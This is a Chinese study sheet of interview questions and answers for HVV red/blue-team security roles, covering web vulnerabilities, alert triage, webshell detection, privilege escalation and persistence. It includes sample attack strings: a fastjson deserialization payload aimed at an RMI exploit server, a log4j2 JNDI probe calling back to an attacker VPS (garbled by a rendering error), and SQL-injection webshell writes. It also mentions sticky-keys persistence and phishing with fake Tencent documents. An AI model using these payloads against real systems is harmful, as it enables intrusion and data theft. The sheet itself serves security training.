Hvv面经基础问题(目录):1.简单自我介绍Kali工具使用Burpsuite等工具抓包蜜罐使用方法2.你在hvv/攻防演练中取得了哪些成绩?3.上一个工作的主要内容?4.有没有遇到过有意思的逻辑漏洞?5.有没有自己开发过武器/工具?6.有cve/cnvd吗?7.有src排名吗?8.有钓鱼经历吗?具体说说技术方面:如果看到一个告警ip,如何判断是否是真实攻击?如果看到一条sql注入告警,怎么判断是否是攻击成功?报错注入的原理是什么?文件上传的攻击特征是什么Webshell是什么,原理是什么如何检测Webshell常用的Webshell管理工具常见的网络服务器容器有哪些威胁情报平台一台主机在内网进行横向攻击,你应该怎么做SQL注入的预防序列化与反序列化的区别正向SHELL和反向SHELL的区别基础端口号如何查看当前进程?临时目录是哪个文件夹?用户列表是在哪个目录下(如何查看Linux有哪些用户)csrf跟ssrf区别常见的网络服务器容器Java常见的框架中间件及漏洞struct2框架fastjson框架shiro框架weblogic容器tomcat容器怎么防御csrfOSI七层协议盲注是什么?你会用什么办法溯源攻击方的个人信息呢和甲方上报 IP 地址,你要上报哪些地址呢?怎么通过流量分析 ,判断出对方攻击成功了?如果攻击的回显有延迟或者说攻击生效需要一定的时间 ,xss除了获取cookie还能干什么?ssrf的原理与危害?ssrf和csrf有什么区别?如何寻找注入点?有用过sql注入传马吗?–os-shell的条件?Fastjson的原理?利用fastjson注入内存马原理?内存马免杀有做过吗?具体说说不借助dnslog有办法检测log4j2是否出网吗你是如何验证struts2是否存在的有做过代码审计吗?有0day吗?Redis未授权有了解吗?Springboot 有哪些漏洞?冰蝎和菜刀等webshell工具有什么区别?xxe原理与攻击手法?序列化与反序列化的区别数据库有哪些,关系型的和非关系型的分别是哪些关系型非关系型PHP代码执行的危险函数PHP命令执行函数如何判断当前主机是否在域环境内?linux和windows怎么判断?什么是免杀免杀有几种途径?内网扫描的方式谈谈Windows系统与Linux系统提权的思路内网提权思路WinLinux权限维持的思路?简单说一下mssql提权
基础问题:
1.简单自我介绍
答:面试官您好,我是xxx,。我熟练掌握Kali中工具的使用,会使用Burpsuite进行溯源,对于蜜罐的使用也是比较熟悉的。然后在校期间也是参加过项目研发的。
Kali工具使用
wireshark
Burpsuite等工具抓包
开代理,将关键数据send to repeater,修改
蜜罐使用方法
可以去HFish官网下载,上面有手册,可以按照上述步骤来。
2.你在hvv/攻防演练中取得了哪些成绩?
答:这是第一次参加国家级护网,但是参加过学校组织的攻防演练
3.上一个工作的主要内容?
答:主要是进行安全评估,同时负责总结,汇报情况,并申请采取对相应机器进行隔离。
4.有没有遇到过有意思的逻辑漏洞?
答:有一项功能为发布悬赏任务,金币从自己现有金币中扣。这一处存在竞争条件,并发漏洞。然后发布一个任务用了五个金币,并发出了10个,再回收任务,净赚95个金币。
5.有没有自己开发过武器/工具?
答:蜜罐,复刻的
6.有cve/cnvd吗?
答:我菜,没有
7.有src排名吗?
答:我菜,没有
8.有钓鱼经历吗?具体说说
答:伪造腾讯在线文档,二维码等骗取信息
技术方面:
如果看到一个告警ip,如何判断是否是真实攻击?
首先,我会先判断一下ip来源,判断是内网ip还是公网ip,若为内网ip,然后对请求包的内容是否存在恶意payload,然后再根据响应包内容有执行成功的回显,若相应包中有对应的payload的回显,则可以判断为攻击成功,但是此时,需要判断下是否为业务系统的逻辑造成的和是否是工作人员在测试业务系统漏洞,若工作人员证实了该告警为自家安全ip,则认为该攻击为误报,若非自家ip且不存在逻辑因素,则可判断为内网攻陷。若为公网ip,若恶意payload利用成功,则可判断为真实攻击。
如果看到一条sql注入告警,怎么判断是否是攻击成功?
对请求包的内容进行检查,检查是否存在sql注入的利用语句,同时检查响应包内容有执行成功的回显,若相应包中存在sql注入攻击成功的回显,则可判断攻击成功。
报错注入的原理是什么?
在MYSQL中使用一些指定的函数来人为制造报错,后台没有屏蔽数据库报错信息, 在语法发生错误使得查询结果能够出现在错误信息中回显在前端,从而从报错信息中获取设定的信息。
文件上传的攻击特征是什么
文件上传首先是POST的数据包,且content-type为multipart/form-data,如果为恶意的文件上传漏洞攻击,则数据包中filename属性的后缀为jsp,php,asp等恶意后缀,且文件内容一般为Webshell内容
Webshell是什么,原理是什么
WebShell就是一句话木马,由于脚本语言的动态性,木马文件通过命令执行system函数或者代码执行eval函数等,参数为用户外部传入(如GET传参,POST传参)达到执行任意代码任意命令的功能。从而远程控制目标主机。
如何检测Webshell
静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell。动态监测通过日志,流量,文件访问频率等方法进行检测。
常用的Webshell管理工具
冰蝎,蚁剑,哥斯拉,菜刀
常见的网络服务器容器
IIS、Apache、nginx、Lighttpd、Tomcat
有哪些威胁情报平台
微步,绿盟,阿里云,奇安信等
一台主机在内网进行横向攻击,你应该怎么做
确定攻击来源,是不是员工内部误操作,比如询问运维是否有自动化轮训脚本。如果没有,确定是攻击,结合时间点,根据设备信息,看一下安全事件,进程,流量,找到问题主机,开始应急响应流程:准备,检测,遏制,根除,恢复,跟踪,具体的操作要交给现场运维去处理。
SQL注入的预防
预编译 PDO 正则表达式过滤
序列化与反序列化的区别
序列化:把对象转化为可传输的字节序列过程称为序列化 反序列化:把字节序列还原为对象的过程称为反序列化
正向SHELL和反向SHELL的区别
正向shell,攻击者连接被攻击者机器反向shell,被攻击者主动连接攻击者正向代理,客户端代理,服务器不知道实际发起请求的客户端反向代理,服务器代理,客户端不知道实际提供服务的服务端
基础端口号
22:ssh端口23:telnet端口53:DNS端口80:web端口1433:sql-server端口3306:Mysql端口3389:RDP端口5432:postgresql6379:redis端口
如何查看当前进程?
Ps -ef 或 ps -aux
临时目录是哪个文件夹?
/tmp ,/var/tmp
用户列表是在哪个目录下(如何查看Linux有哪些用户)
/etc/passwd
csrf跟ssrf区别
CSRF (Cross-site request forgery)跨站请求伪造SSRF (Server-Side Request Forgery)服务器端请求伪造csrf 一个是客户端发起,ssrf是从服务端发起的
常见的网络服务器容器
IIS、Apache、nginx、Lighttpd、Tomcat
Java常见的框架中间件及漏洞
struct2框架
一个基于MVC设计模式的Web应用框架)这个框架全是漏洞
fastjson框架
阿里巴巴开源的JSON工具解析库1.2.47版本前存在反序列化漏洞框架特征:post数据包,content-type为application/json, post内容为json数据,且其中有@type标识
比如
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true } }
shiro框架
apache的一个权限管理的开源框架,实现 用户认证、用户授权。若shiro框架服务端使用默认密钥,则会存在反序列化漏洞框架特征:cookie字段为存在rememberMe=xxxxx;
weblogic容器
一个基于JAVAEE架构的中间件weblogic存在许多漏洞,弱口令,SSRF,反序列化,任意文件上传,XMLDecoder反序列化框架特征,一般在7001端口,漏洞检测常用工具
tomcat容器
最常见的java web容器漏洞,弱口令,幽灵猫,PUT方法任意写文件框架特征,一般为8080端口
怎么防御csrf
- 提交表单时,增加一个隐藏的token
- 验证 HTTP Referer 字段
OSI七层协议
物理层 数据链路层 网络层 传输层 会话层 表示层 应用层
盲注是什么?
就是你在测试注入数据库的时候,数据库没有任何回显,只显示对错。
你会用什么办法溯源攻击方的个人信息呢
- 首先通过日志和蜜罐等方式获取到攻击方的 ip,可以对 ip 进行反向渗透获取信息,定位攻击者信息。
- 也可以通过搜索引擎或者安全情报,获取 ip 对应攻击者的网名id,再通过社交平台获取攻击者的信息
- 通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
- 如果攻击者有种植木马等,可以提取样本特征如用户名、ID、邮箱、C2 服务器等信息—同源分析
- 搭载 jsonp 钓鱼的蜜罐,通过 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
和甲方上报 IP 地址,你要上报哪些地址呢?
上报攻击 ip 的地址,先判断是内网 ip 还是公网 ip,如果是内网ip,查看是否是业务白名单行为,若不是再上报进行判断。若是公网 ip,查看是否在白名单内,若不是查看是否是扫描器 ip,若是扫描器 ip,扫描对业务或者对研判产生了影响则可以上报,若不是且判断出是真实攻击 ip 也进行上报。
怎么通过流量分析 ,判断出对方攻击成功了?
- 可以通过返回包判断攻击是否成功,比如命令执行攻击有回显的话返回包就会有命令执行的结果。如果有一些安全设备的话也可以通过查看告警信息判断。
- 可以对请求包进行重放来判断,在自己的机器上重放流量包,将 payload 改成自己的 payload 来判断是否攻击成功
如果攻击的回显有延迟或者说攻击生效需要一定的时间 ,
你不能很快看见 ,那该怎么通过流量分析判断出攻击是否生效了?重放流量包,将 payload 改成自己的来进行判断。
xss除了获取cookie还能干什么?
答:用户劫持、结合csrf补充:貌似能提权??
ssrf的原理与危害?
答:伪造服务器给内网发消息
ssrf和csrf有什么区别?
答:csrf伪造客户端,ssrf伪造服务器端
如何寻找注入点?
答:字符,数字,盲注…
有用过sql注入传马吗?
答:用过into outfile补充:可以通过日志文件写入木马
–os-shell的条件?
答:拥有网站的写入条件补充:Secure_file_priv参数为空或者为指定路径。
Fastjson的原理?
答:启一个rmi的服务器,上面挂payload,让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向rmi服务器上的恶意payload
利用fastjson注入内存马原理?
答:不知道这里应该怎么说,例如spring mvc的话就是通过fastjson的反序列化,利用jndi的方式让web端加载恶意类,注入controller
内存马免杀有做过吗?具体说说
答:没做过,在网上找现成的补充:Filter名称是否合理Filter对应的类名是否合理Filter对应的类是否在classpath下网站web.xml中是否存在改filter
不借助dnslog有办法检测log4j2是否出网吗
答:dns到vps判断是否出网补充:使用logg.error(“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …s://xxxxx:8090/{java:version}}”);在自己的VPS上nc -luvvp 8090即可收到信息
你是如何验证struts2是否存在的
答:检测工具,或者抓包,改post,把content-Type改为application/xml,放上payload
有做过代码审计吗?有0day吗?
答:没有,没有
Redis未授权有了解吗?
答:有,可以配合ssrf打组合拳
Springboot 有哪些漏洞?
答:只知道一个snakeyaml
冰蝎和菜刀等webshell工具有什么区别?
答:冰蝎有流量动态加密
xxe原理与攻击手法?
答:解析XML输入时可以加载外部实体类,造成文件读取,命令执行等危害。直接dtd加载dnslog等等
序列化与反序列化的区别
1.序列化:把对象转化为可传输的字节序列过程称为序列化。2.反序列化:把字节序列还原为对象的过程称为反序列化。
数据库有哪些,关系型的和非关系型的分别是哪些
关系型
MySQL:3306 SQL Server:1433 Oracle:1521 DB2:5000MongoDB:27017---非关系型数据库
非关系型
Redis:6379 Memcached:11211 PHP反序列化
PHP代码执行的危险函数
call_user_func()call_user_func_array()create_function()array_map()
PHP命令执行函数
systemshell_execpassthruexecpopenproc_openputenvassert
如何判断当前主机是否在域环境内?
ipconfig /all看dns后缀,systeminfo、net config workstation、net time /domain
linux和windows怎么判断?
linux大小写敏感
什么是免杀
将shellcode进行加密,动态解密恢复,申请可写可执行内存并写入解密后的shellcode,将函数指针指向这块内存的起始位置并开始执行。
免杀有几种途径?
答:修改特征码、流量混淆、花指令、加壳
内网扫描的方式
内网fscan扫描 或者 搭建内网socks5代理然后走代理进行扫描
谈谈Windows系统与Linux系统提权的思路
内网提权思路
1.代理穿透2.权限维持3.内网信息收集4.口令爆破5.凭据窃取6.社工7.横行和纵向渗透8.拿下域控
Win
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
方法: 1.系统内核溢出漏洞提权 2.数据库提权 3.错误的系统配置提权 4.组策略首选项提权 5.WEB中间件漏洞提权 6.DLL劫持提权 7.滥用高危权限令牌提权 8.第三方软件/服务提权等
Linux
方法: 1.Linux内核漏洞提权 2.低权限用户目录下可被Root权限用户调用的脚本提权(SUID) 3.环境变量劫持高权限程序提权 4.sudoer配置文件错误提权
权限维持的思路?
答:加服务,加注册表 加启动项
简单说一下mssql提权
答:我只记得xp_cmdshell和自启动补充:trigger提权、沙盒提权、计划任务提权、sethc.exe 替换粘滞键提权(替换c:\windows\system32\下的sethc.exe替换c:\windows\system32\dllcache\sethc.exe)
内容参考:https://blog.csdn.net/Kimi_Galex/article/details/125939981